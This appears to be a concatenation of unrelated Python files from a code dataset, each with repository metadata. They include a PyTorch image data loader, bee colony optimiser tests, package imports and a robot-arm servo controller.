st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) EmptyDictionary._Automaton = _BuildAutomaton_36()
54.834501
343
0.722073
80,730
649,405
5.625678
0.008906
0.135679
0.149247
0.199158
0.965193
0.963266
0.955837
0.954457
0.950714
0.949073
0
0.046912
0.139004
649,405
11,842
344
54.839132
0.765345
0.052259
0
0.87773
1
0
0.112052
0.09668
0
0
0
0
0
1
0.00389
false
0
0.004787
0
0.08876
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
1a802be580e255c83051f394a2f7e68a64f47b50
2,049
py
Python
code/deep/finetune_AlexNet_ResNet/data_loader.py
PatrickZH/transferlearning
7fdb2280dbe0a79335eca290f808f034fd441b67
[ "MIT" ]
9
2019-12-26T08:51:30.000Z
2021-04-16T06:44:52.000Z
code/deep/finetune_AlexNet_ResNet/data_loader.py
Mrzhangxiaohua/transferlearning
5775960eb18685b4dd95c9baa0672c24529851cd
[ "MIT" ]
null
null
null
code/deep/finetune_AlexNet_ResNet/data_loader.py
Mrzhangxiaohua/transferlearning
5775960eb18685b4dd95c9baa0672c24529851cd
[ "MIT" ]
3
2019-10-02T15:46:47.000Z
2020-06-17T13:45:27.000Z
from torchvision import datasets, transforms import torch def load_data(root_path, dir, batch_size, phase): transform_dict = { 'src': transforms.Compose( [transforms.RandomResizedCrop(224), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ]), 'tar': transforms.Compose( [transforms.Resize(224), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ])} data = datasets.ImageFolder(root=root_path + dir, transform=transform_dict[phase]) data_loader = torch.utils.data.DataLoader(data, batch_size=batch_size, shuffle=True, drop_last=False, num_workers=4) return data_loader def load_train(root_path, dir, batch_size, phase): transform_dict = { 'src': transforms.Compose( [transforms.RandomResizedCrop(224), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ]), 'tar': transforms.Compose( [transforms.Resize(224), transforms.ToTensor(), transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]), ])} data = datasets.ImageFolder(root=root_path + dir, transform=transform_dict[phase]) train_size = int(0.8 * len(data)) test_size = len(data) - train_size data_train, data_val = torch.utils.data.random_split(data, [train_size, test_size]) train_loader = torch.utils.data.DataLoader(data_train, batch_size=batch_size, shuffle=True, drop_last=False, num_workers=4) val_loader = torch.utils.data.DataLoader(data_val, batch_size=batch_size, shuffle=True, drop_last=False, num_workers=4) return train_loader, val_loader
44.543478
127
0.614446
245
2,049
4.97551
0.22449
0.059065
0.036095
0.121411
0.811321
0.811321
0.727646
0.727646
0.727646
0.727646
0
0.074293
0.257687
2,049
45
128
45.533333
0.727153
0
0
0.714286
0
0
0.005857
0
0
0
0
0
0
1
0.047619
false
0
0.047619
0
0.142857
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
46d48fc3214e2961acc65d6646575c548b952ba8
33
py
Python
function_19231253.py
lzy248/ASMART-21
0903dcaf05c694dfe125da19021494c4cdd752fd
[ "MIT" ]
null
null
null
function_19231253.py
lzy248/ASMART-21
0903dcaf05c694dfe125da19021494c4cdd752fd
[ "MIT" ]
null
null
null
function_19231253.py
lzy248/ASMART-21
0903dcaf05c694dfe125da19021494c4cdd752fd
[ "MIT" ]
null
null
null
print('My student_id: 19231253')
16.5
32
0.757576
5
33
4.8
1
0
0
0
0
0
0
0
0
0
0
0.266667
0.090909
33
1
33
33
0.533333
0
0
0
0
0
0.69697
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
648849844f59a0fa5649fb07133ecb6712f184a4
74
py
Python
czsc/Indicator/__init__.py
newlyedward/czsc
7b87298a09d2f317afbd9552b001a433f8954c78
[ "MIT" ]
null
null
null
czsc/Indicator/__init__.py
newlyedward/czsc
7b87298a09d2f317afbd9552b001a433f8954c78
[ "MIT" ]
null
null
null
czsc/Indicator/__init__.py
newlyedward/czsc
7b87298a09d2f317afbd9552b001a433f8954c78
[ "MIT" ]
null
null
null
from czsc.Indicator.base import * from czsc.Indicator.indicators import *
24.666667
39
0.810811
10
74
6
0.6
0.266667
0.566667
0
0
0
0
0
0
0
0
0
0.108108
74
2
40
37
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
6489adfdec1999b96b400071c4764ccee0c271a0
21,968
py
Python
beecolpy/tests/test_beecolpy.py
renard162/BeeColPy
5931f46acad71b52c2864fc35cc922d73402cb40
[ "MIT" ]
8
2020-05-19T13:26:20.000Z
2022-03-16T03:37:06.000Z
beecolpy/tests/test_beecolpy.py
XZpeipei/BeeColPy
5931f46acad71b52c2864fc35cc922d73402cb40
[ "MIT" ]
1
2021-07-16T11:12:21.000Z
2021-07-16T11:12:21.000Z
beecolpy/tests/test_beecolpy.py
XZpeipei/BeeColPy
5931f46acad71b52c2864fc35cc922d73402cb40
[ "MIT" ]
1
2022-03-16T03:38:21.000Z
2022-03-16T03:38:21.000Z
# -*- coding: utf-8 -*- from beecolpy import * from copy import deepcopy import math as mt import numpy as np import numpy.testing as npt def sphere(x): #Continuous and NaN benchmark #Sphere function #Min: x=(0,0) total = 0 test = 0 for i in range(len(x)): total += x[i]**2 test += x[i] if (test<5): return total else: return np.nan def translate_bin(b): return np.sum([(b[::-1][i])*mt.pow(2,i) for i in range(len(b))]) def squared_bin(b): #y=(x-1)*(x-3)*(x-11) #y = x^3 - 15 x^2 + 47 x - 33 #Min: x=0 b=[0000 0000] (Local) # x=8.055 b~[0000 1000] (Global) #NaN: x>128 b>[0111 1111] x = translate_bin(b) if (x > 128): return np.nan else: return mt.pow(x,3) - 15*mt.pow(x,2) + 47*(x) - 33 base_abc_obj = abc(function=sphere, boundaries=[(-10,10) for _ in range(2)], colony_size=10, scouts=0.5, iterations=10, min_max='min', nan_protection=True, log_agents=True, seed=42) base_bin_abc_obj = bin_abc(function=squared_bin, bits_count=4, transfer_function='sigmoid', colony_size=10, scouts=0.5, iterations=10, min_max='min', method='bin', result_format='best', nan_protection=3, log_agents=True, seed=42) base_am_abc_obj = bin_abc(function=squared_bin, bits_count=4, colony_size=10, scouts=0.5, iterations=10, min_max='min', method='am', nan_protection=True, log_agents=True, seed=42) average_nan_bin_abc_obj = bin_abc(function=squared_bin, bits_count=8, transfer_function='sigmoid', colony_size=10, scouts=0.5, iterations=10, min_max='min', method='bin', result_format='average', nan_protection=3, log_agents=True, seed=42) nan_bin_abc_obj = bin_abc(function=squared_bin, bits_count=8, transfer_function='sigmoid', colony_size=60, scouts=10, iterations=30, min_max='min', method='bin', result_format='average', nan_protection=3, log_agents=True, seed=42) def test_food_source_generation(): # Test algorithm initialization global base_abc_obj out = [food.position for food in base_abc_obj.foods] ref = [[2.7885359691576745, -9.49978489554666], [-4.499413632617615, -5.5357852370235445], [7.843591354096908, -8.261223347411677], [-1.561563606294591, -9.404055611238594], [-5.627240503927933, 0.10710576206724731]] npt.assert_array_almost_equal(out, ref, decimal=6) def test_fit_solution(): # Test solver capability global base_abc_obj abc_obj = deepcopy(base_abc_obj) abc_obj.fit() out = abc_obj.get_solution() ref = [0.004621261711518124, -0.08296007192538377] npt.assert_array_almost_equal(out, ref, decimal=6) def test_get_agents(): # Verifies the process step-by-step global base_abc_obj abc_obj = deepcopy(base_abc_obj) abc_obj.fit() out = abc_obj.get_agents() ref = [[[2.7885359691576745, -9.49978489554666], [-4.499413632617615, -5.5357852370235445], [7.843591354096908, -8.261223347411677], [-1.561563606294591, -9.404055611238594], [-5.627240503927933, 0.10710576206724731]], [[2.7885359691576745, -8.233291099602813], [1.5832471812626028, -5.5357852370235445], [3.7358052227687066, -8.261223347411677], [-1.2017059867618722, -9.404055611238594], [-5.177686266266753, 0.10710576206724731]], [[2.7885359691576745, -8.233291099602813], [1.5832471812626028, -5.5357852370235445], [3.07809973415758, -3.1160692355609463], [-1.2017059867618722, -9.404055611238594], [-0.626259589706855, 0.10710576206724731]], [[2.7885359691576745, -5.5667304312754515], [1.5832471812626028, -4.793940503704757], [3.07809973415758, -3.1160692355609463], [-1.2017059867618722, -9.404055611238594], [-0.626259589706855, -0.08296007192538377]], [[2.7885359691576745, -5.5667304312754515], [1.5832471812626028, -4.793940503704757], [3.07809973415758, -2.9972606160578668], [-1.2017059867618722, -2.33874341261713], [0.004621261711518124, -0.08296007192538377]], [[2.7885359691576745, -5.5667304312754515], [1.5832471812626028, -1.4037521889161138], [3.07809973415758, -2.8781556401746196], [-0.23585290985708707, -0.35015979771326466], [0.004621261711518124, -0.08296007192538377]], [[2.7885359691576745, -5.5667304312754515], [0.18420441941726584, -1.4037521889161138], [3.07809973415758, -2.8781556401746196], [-0.23585290985708707, -0.35015979771326466], [7.585404849690857, -2.609458225222321]], [[2.7885359691576745, -0.8101232115728161], [0.18420441941726584, -1.4037521889161138], [3.07809973415758, -2.8781556401746196], [9.443925300345207, -9.202102437775636], [5.401373297801247, -2.609458225222321]], [[2.683096137661125, -0.8101232115728161], [-6.4286436765507275, 9.25068631523111], [-2.3425767195845317, -2.262486375815069], [9.443925300345207, -4.543441485273379], [5.401373297801247, -1.4635223212335464]], [[-1.2529852411980031, -0.019504875840150926], [-6.4286436765507275, 9.25068631523111], [0.36371179397453135, -2.262486375815069], [6.465646902426063, -4.543441485273379], [5.319323057174841, -1.4635223212335464]], [[-0.5647328495432691, -0.019504875840150926], [-6.4286436765507275, 9.25068631523111], [0.36371179397453135, -1.6127483532703213], [6.465646902426063, -4.543441485273379], [5.319323057174841, -1.4635223212335464]]] npt.assert_array_almost_equal(out, ref, decimal=6) def test_get_status(): # Test exploration and NaN protection global base_abc_obj abc_obj = deepcopy(base_abc_obj) abc_obj.fit() out = abc_obj.get_status() ref = (10, 3, 3) npt.assert_array_equal(out, ref) def test_bin_food_source_generation(): # Test algorithm initialization global base_bin_abc_obj out = [food.position for food in base_bin_abc_obj._bin_abc_object.foods] ref = [[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.591187559186066, 1.7853136775181753, 6.1886091335565325, -9.87002480643878], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.7245618290940143, 9.462315279587411, -2.42931245583293, 1.0408126254645396]] npt.assert_array_almost_equal(out, ref, decimal=6) def test_bin_fit_best_solution(): # Test solver capability global base_bin_abc_obj bin_abc_obj = deepcopy(base_bin_abc_obj) bin_abc_obj.fit() out = bin_abc_obj.get_solution() ref = [True, False, False, False] npt.assert_array_equal(out, ref) def test_bin_fit_average_solution(): # Test solver capability global average_nan_bin_abc_obj bin_abc_obj = deepcopy(average_nan_bin_abc_obj) bin_abc_obj.fit() out = bin_abc_obj.get_solution() ref = [False, False, False, False, True, False, False, False] npt.assert_array_equal(out, ref) def test_bin_fit_average_probability(): # Test solver capability global average_nan_bin_abc_obj bin_abc_obj = deepcopy(average_nan_bin_abc_obj) bin_abc_obj.fit() out = bin_abc_obj.get_solution(probability_vector = True) ref = [0.7310473617198062, 0.014879869353197546, 0.017970912760133604, 0.0010584454334110485, 0.985098442266522, 0.19047384206718057, 0.0014741775024230605, 0.05895833890958545] npt.assert_array_almost_equal(out, ref, decimal=6) def test_bin_nan_protection(): # Test NaN protection in BABC global nan_bin_abc_obj bin_abc_obj = deepcopy(nan_bin_abc_obj) bin_abc_obj.fit() out1 = bin_abc_obj.get_status() out2 = bin_abc_obj.get_solution(probability_vector = False) ref1 = (30, 28, 36) ref2 = [False, False, False, False, True, False, False, False] npt.assert_array_equal(out1, ref1) npt.assert_array_equal(out2, ref2) def test_bin_get_agents(): # Verifies the process step-by-step global base_bin_abc_obj bin_abc_obj = deepcopy(base_bin_abc_obj) bin_abc_obj.fit() out = bin_abc_obj.get_agents() ref = [[[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.591187559186066, 1.7853136775181753, 6.1886091335565325, -9.87002480643878], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.7245618290940143, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.591187559186066, 1.7853136775181753, 6.1886091335565325, -9.87002480643878], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.7245618290940143, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.591187559186066, 1.7853136775181753, 6.1886091335565325, -9.87002480643878], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.7245618290940143, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.591187559186066, 1.7853136775181753, 6.1886091335565325, -9.87002480643878], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.7245618290940143, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.591187559186066, 1.7853136775181753, 6.1886091335565325, -9.87002480643878], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.8967570342570317, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.591187559186066, 1.7853136775181753, 6.1886091335565325, -9.87002480643878], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.8967570342570317, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[2.7885359691576745, -9.49978489554666, -4.499413632617615, -5.5357852370235445], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.310128439707293, -3.2830492675737215, 7.860536655806335, -8.38844684684663], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.8967570342570317, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[-7.838025006847868, -9.48643149005068, -3.7608551121060962, 3.5469457370081763], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.310128439707293, -3.2830492675737215, 7.860536655806335, -8.38844684684663], [9.144261444135623, -3.2681090977474643, -8.145083132397042, -8.06567246333072], [0.8967570342570317, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[-7.838025006847868, -9.48643149005068, -3.7608551121060962, 3.5469457370081763], [-1.561563606294591, -9.404055611238594, -5.627240503927933, 0.10710576206724731], [-5.310128439707293, -3.2830492675737215, 7.860536655806335, -8.38844684684663], [-4.470007460626215, 1.7917381192158182, 5.204157907461653, 1.9358148102460344], [0.8967570342570317, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[-7.838025006847868, -9.48643149005068, -3.7608551121060962, 3.5469457370081763], [-1.2448227285680407, 1.9607332408220728, 7.788457785849072, 4.690678465712306], [-5.310128439707293, -3.2830492675737215, 7.860536655806335, -8.38844684684663], [-4.470007460626215, 1.7917381192158182, 5.204157907461653, 1.9358148102460344], [0.8967570342570317, 9.462315279587411, -2.42931245583293, 1.0408126254645396]], [[-7.838025006847868, -9.48643149005068, -3.7608551121060962, 3.5469457370081763], [-1.2448227285680407, 1.9607332408220728, 7.788457785849072, 4.690678465712306], [-5.310128439707293, -3.2830492675737215, 7.860536655806335, -8.38844684684663], [-4.470007460626215, 1.7917381192158182, 5.204157907461653, 1.9358148102460344], [-4.343220334343467, -4.028883004564657, 1.7387544482832222, 9.978046664586774]]] npt.assert_array_almost_equal(out, ref, decimal=6) def test_bin_get_status(): # Test exploration global base_bin_abc_obj bin_abc_obj = deepcopy(base_bin_abc_obj) bin_abc_obj.fit() out = bin_abc_obj.get_status() ref = (10, 5, 0) npt.assert_array_equal(out, ref) def test_am_food_source_generation(): # Test algorithm initialization global base_am_abc_obj out = [food.position for food in base_am_abc_obj._bin_abc_object.foods] ref = [[0.557707193831535, -1.8999569791093323, -0.899882726523523, -1.107157047404709], [0.9458848566560496, 0.7067979496916452, 1.5687182708193816, -1.6522446694823354], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-1.8938561212645455, -1.204649397253406, 0.5995377511180928, 0.1797659224128667], [-1.1182375118372132, 0.3570627355036349, 1.2377218267113066, -1.974004961287756]] npt.assert_array_almost_equal(out, ref, decimal=6) def test_am_fit_solution(): # Test solver capability global base_am_abc_obj am_abc_obj = deepcopy(base_am_abc_obj) am_abc_obj.fit() out = am_abc_obj.get_solution() ref = [True, False, False, False] npt.assert_array_equal(out, ref) def test_am_get_agents(): # Verifies the process step-by-step global base_am_abc_obj am_abc_obj = deepcopy(base_am_abc_obj) am_abc_obj.fit() out = am_abc_obj.get_agents() ref = [[[0.557707193831535, -1.8999569791093323, -0.899882726523523, -1.107157047404709], [0.9458848566560496, 0.7067979496916452, 1.5687182708193816, -1.6522446694823354], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-1.8938561212645455, -1.204649397253406, 0.5995377511180928, 0.1797659224128667], [-1.1182375118372132, 0.3570627355036349, 1.2377218267113066, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, -0.899882726523523, -1.107157047404709], [1.0161392006272225, 0.7067979496916452, 1.5687182708193816, -1.6522446694823354], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-2, -1.204649397253406, 0.5995377511180928, 0.1797659224128667], [-1.1182375118372132, 0.3570627355036349, 1.2377218267113066, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, 0.3286988892938725, -1.107157047404709], [1.0161392006272225, 0.7067979496916452, 1.5687182708193816, -1.6522446694823354], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-2, -1.204649397253406, 0.5995377511180928, 0.3057522684219449], [-1.1182375118372132, 0.3570627355036349, 1.2377218267113066, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, 0.3286988892938725, -1.107157047404709], [1.0161392006272225, 0.7067979496916452, 1.5687182708193816, -1.6522446694823354], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-2, -1.204649397253406, 0.5995377511180928, 0.3057522684219449], [-1.1182375118372132, 0.3570627355036349, 1.2377218267113066, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, 0.3286988892938725, -1.7642204917687523], [0.3537604576414042, -1.9712366440596258, 0.8313637861938163, -1.7645049324947064], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-2, -1.204649397253406, 0.5995377511180928, 0.3057522684219449], [-1.1182375118372132, 0.3570627355036349, 1.2377218267113066, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, 0.3286988892938725, -1.7642204917687523], [0.3537604576414042, -1.9712366440596258, 0.8313637861938163, -0.7438010528471708], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-2, -1.204649397253406, 0.5995377511180928, 0.3057522684219449], [-1.1182375118372132, 0.3570627355036349, 1.140180015064122, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, 0.3286988892938725, -1.7642204917687523], [0.3537604576414042, -1.9712366440596258, 0.8313637861938163, -0.7438010528471708], [-0.3123127212589183, -1.8808111222477186, -1.1254481007855865, 0.02142115241344955], [-2, -1.204649397253406, 0.5995377511180928, 0.3057522684219449], [-1.1182375118372132, 0.3570627355036349, 1.140180015064122, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, 0.3286988892938725, -1.7642204917687523], [0.3537604576414042, -1.9712366440596258, 0.8313637861938163, -0.7438010528471708], [-0.3123127212589183, -1.8808111222477186, -0.10276323247356367, 0.02142115241344955], [-2, -1.204649397253406, 0.5995377511180928, 0.3057522684219449], [-1.1182375118372132, 0.3570627355036349, 1.140180015064122, -1.974004961287756]], [[0.557707193831535, -1.8893582439328636, 0.3286988892938725, -1.7642204917687523], [0.3537604576414042, -1.9712366440596258, 0.8313637861938163, -0.7438010528471708], [-0.3123127212589183, -1.8808111222477186, -0.10276323247356367, 0.02142115241344955], [-0.5852854615415266, 0.23953407657547876, 1.4988508941643648, 1.895348090549156], [-1.1182375118372132, 0.3570627355036349, 1.140180015064122, -1.974004961287756]], [[-0.617251553280799, 1.1457127128147278, -0.25442446451756817, 1.9369433972663597], [0.3537604576414042, -1.9712366440596258, 0.8313637861938163, -0.7438010528471708], [-0.3123127212589183, -1.8808111222477186, -0.10276323247356367, 0.02142115241344955], [-0.5852854615415266, 0.23953407657547876, 1.4988508941643648, 1.895348090549156], [-1.1182375118372132, 0.3570627355036349, 1.140180015064122, -1.974004961287756]], [[-0.617251553280799, 1.1457127128147278, -0.25442446451756817, 1.9369433972663597], [0.044695987498348355, 1.174941596424008, 1.839328014732145, 0.9438457837608869], [-0.3123127212589183, -1.8808111222477186, -0.10276323247356367, 0.02142115241344955], [-0.5852854615415266, 0.23953407657547876, 1.4988508941643648, 1.895348090549156], [-1.1182375118372132, 0.3570627355036349, 1.140180015064122, -1.974004961287756]]] npt.assert_array_almost_equal(out, ref, decimal=6) def test_am_get_status(): # Test exploration global base_am_abc_obj am_abc_obj = deepcopy(base_am_abc_obj) am_abc_obj.fit() out = am_abc_obj.get_status() ref = (10, 4, 0) npt.assert_array_almost_equal(out, ref)
51.811321
98
0.644802
2,176
21,968
6.363971
0.119945
0.031196
0.023397
0.015598
0.890165
0.883666
0.874711
0.86063
0.798671
0.786179
0
0.605368
0.235115
21,968
423
99
51.933806
0.21877
0.028132
0
0.67867
0
0
0.003048
0
0
0
0
0
0.044321
1
0.049862
false
0
0.01385
0.00277
0.077562
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
64dd5447aca82376ca02a77891a84761c807d8c4
371
py
Python
pipeline_dp/__init__.py
say-yam/PipelineDP
b68a9e539fd80e32eb80dcf29976533a62298fd4
[ "Apache-2.0" ]
null
null
null
pipeline_dp/__init__.py
say-yam/PipelineDP
b68a9e539fd80e32eb80dcf29976533a62298fd4
[ "Apache-2.0" ]
null
null
null
pipeline_dp/__init__.py
say-yam/PipelineDP
b68a9e539fd80e32eb80dcf29976533a62298fd4
[ "Apache-2.0" ]
null
null
null
from pipeline_dp.budget_accounting import BudgetAccountant from pipeline_dp.dp_engine import AggregateParams from pipeline_dp.dp_engine import DataExtractors from pipeline_dp.dp_engine import Metrics from pipeline_dp.dp_engine import DPEngine from pipeline_dp.dp_engine import ComputedMetrics from pipeline_dp.pipeline_operations import PipelineOperations, BeamOperations
53
78
0.902965
50
371
6.42
0.32
0.261682
0.305296
0.249221
0.436137
0.436137
0
0
0
0
0
0
0.075472
371
7
78
53
0.93586
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b3805c29fb0a45a6f99755363083de0f74340178
1,945
py
Python
apps/gesture_piarm/mearm_control.py
neuralbotnetworks/ncappzoo
b63b650e6525cf869d0c7e09ce2168371c020ad4
[ "MIT" ]
968
2017-10-11T07:28:33.000Z
2022-03-27T13:37:33.000Z
apps/gesture_piarm/mearm_control.py
neuralbotnetworks/ncappzoo
b63b650e6525cf869d0c7e09ce2168371c020ad4
[ "MIT" ]
116
2017-10-19T16:24:41.000Z
2021-12-26T09:22:11.000Z
apps/gesture_piarm/mearm_control.py
neuralbotnetworks/ncappzoo
b63b650e6525cf869d0c7e09ce2168371c020ad4
[ "MIT" ]
425
2017-10-12T20:44:11.000Z
2022-03-19T16:27:47.000Z
from mearm_pi import MeArmPi class MeArmController: def __init__(self): self.mearm = MeArmPi() self.angles = {'base': 0, 'lower': int(135/2), 'upper': int(135/2), 'grip': 45} self.bounds = {'base': (-90, 90), 'lower': (0, 135), 'upper': (0, 135), 'grip': (0, 90)} def move(self, servo, gesture): angle = self.angles[servo] minBound = self.bounds[servo][0] maxBound = self.bounds[servo][1] if gesture == 1 and angle > minBound: self.angles[servo] = self.angles[servo] - 1 # up return self.mearm.moveServoTo(servo, self.angles[servo]) if gesture == 2 and angle < maxBound: self.angles[servo] = self.angles[servo] + 1 # down return self.mearm.moveServoTo(servo, self.angles[servo]) if gesture == 3 and angle > minBound: self.angles[servo] = self.angles[servo] - 1 # left return self.mearm.moveServoTo(servo, self.angles[servo]) if gesture == 4 and angle < maxBound: self.angles[servo] = self.angles[servo] + 1 # right return self.mearm.moveServoTo(servo, self.angles[servo]) if gesture == 5 and angle < maxBound: self.angles[servo] = self.angles[servo] + 1 # open return self.mearm.moveServoTo(servo, self.angles[servo]) if gesture == 6 and angle > minBound: self.angles[servo] = self.angles[servo] - 1 # close return self.mearm.moveServoTo(servo, self.angles[servo]) if gesture == 7 and angle > minBound: self.angles[servo] = self.angles[servo] - 1 # out return self.mearm.moveServoTo(servo, self.angles[servo]) if gesture == 8 and angle < maxBound: self.angles[servo] = self.angles[servo] + 1 # out return self.mearm.moveServoTo(servo, self.angles[servo])
43.222222
96
0.57018
236
1,945
4.677966
0.194915
0.235507
0.339674
0.289855
0.736413
0.736413
0.736413
0.736413
0.736413
0.736413
0
0.032282
0.299229
1,945
45
97
43.222222
0.777696
0.019023
0
0.470588
0
0
0.018947
0
0
0
0
0
0
1
0.058824
false
0
0.029412
0
0.352941
0
0
0
0
null
1
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
b387bede26d85f1587f40e89bf571fe3af25a9a2
236
py
Python
platform/radio/efr32_multiphy_configurator/host_py_rm_studio_internal/full/efr32xg31/revA0/static/base/__init__.py
PascalGuenther/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
82
2016-06-29T17:24:43.000Z
2021-04-16T06:49:17.000Z
platform/radio/efr32_multiphy_configurator/host_py_rm_studio_internal/full/efr32xg31/revA0/static/base/__init__.py
PascalGuenther/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
6
2022-01-12T18:22:08.000Z
2022-03-25T10:19:27.000Z
platform/radio/efr32_multiphy_configurator/host_py_rm_studio_internal/full/efr32xg31/revA0/static/base/__init__.py
PascalGuenther/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
56
2016-08-02T10:50:50.000Z
2021-07-19T08:57:34.000Z
from . device import Base_RM_Device from . peripheral import Base_RM_Peripheral from . register import Base_RM_Register from . field import Base_RM_Field from . enumeration import Base_RM_Enum from . enumeration import Base_RM_EnumInt
29.5
43
0.84322
36
236
5.194444
0.305556
0.320856
0.385027
0.26738
0.28877
0
0
0
0
0
0
0
0.131356
236
7
44
33.714286
0.912195
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b397fbd8e372f09fc96c89ebbdeaecad49936396
111
py
Python
path_prediction/utils/__init__.py
cimat-ris/OF-PathPred
85ca275707e5988491d0a510b9d31883824411db
[ "Apache-2.0" ]
1
2020-02-20T16:24:28.000Z
2020-02-20T16:24:28.000Z
path_prediction/utils/__init__.py
cimat-ris/OF-PathPred
85ca275707e5988491d0a510b9d31883824411db
[ "Apache-2.0" ]
2
2020-04-11T16:27:22.000Z
2020-10-18T18:56:53.000Z
path_prediction/utils/__init__.py
cimat-ris/OF-PathPred
85ca275707e5988491d0a510b9d31883824411db
[ "Apache-2.0" ]
null
null
null
from . import training_utils from . import plot_utils from . import datasets_utils from . import testing_utils
22.2
28
0.81982
16
111
5.4375
0.4375
0.45977
0.517241
0
0
0
0
0
0
0
0
0
0.144144
111
4
29
27.75
0.915789
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
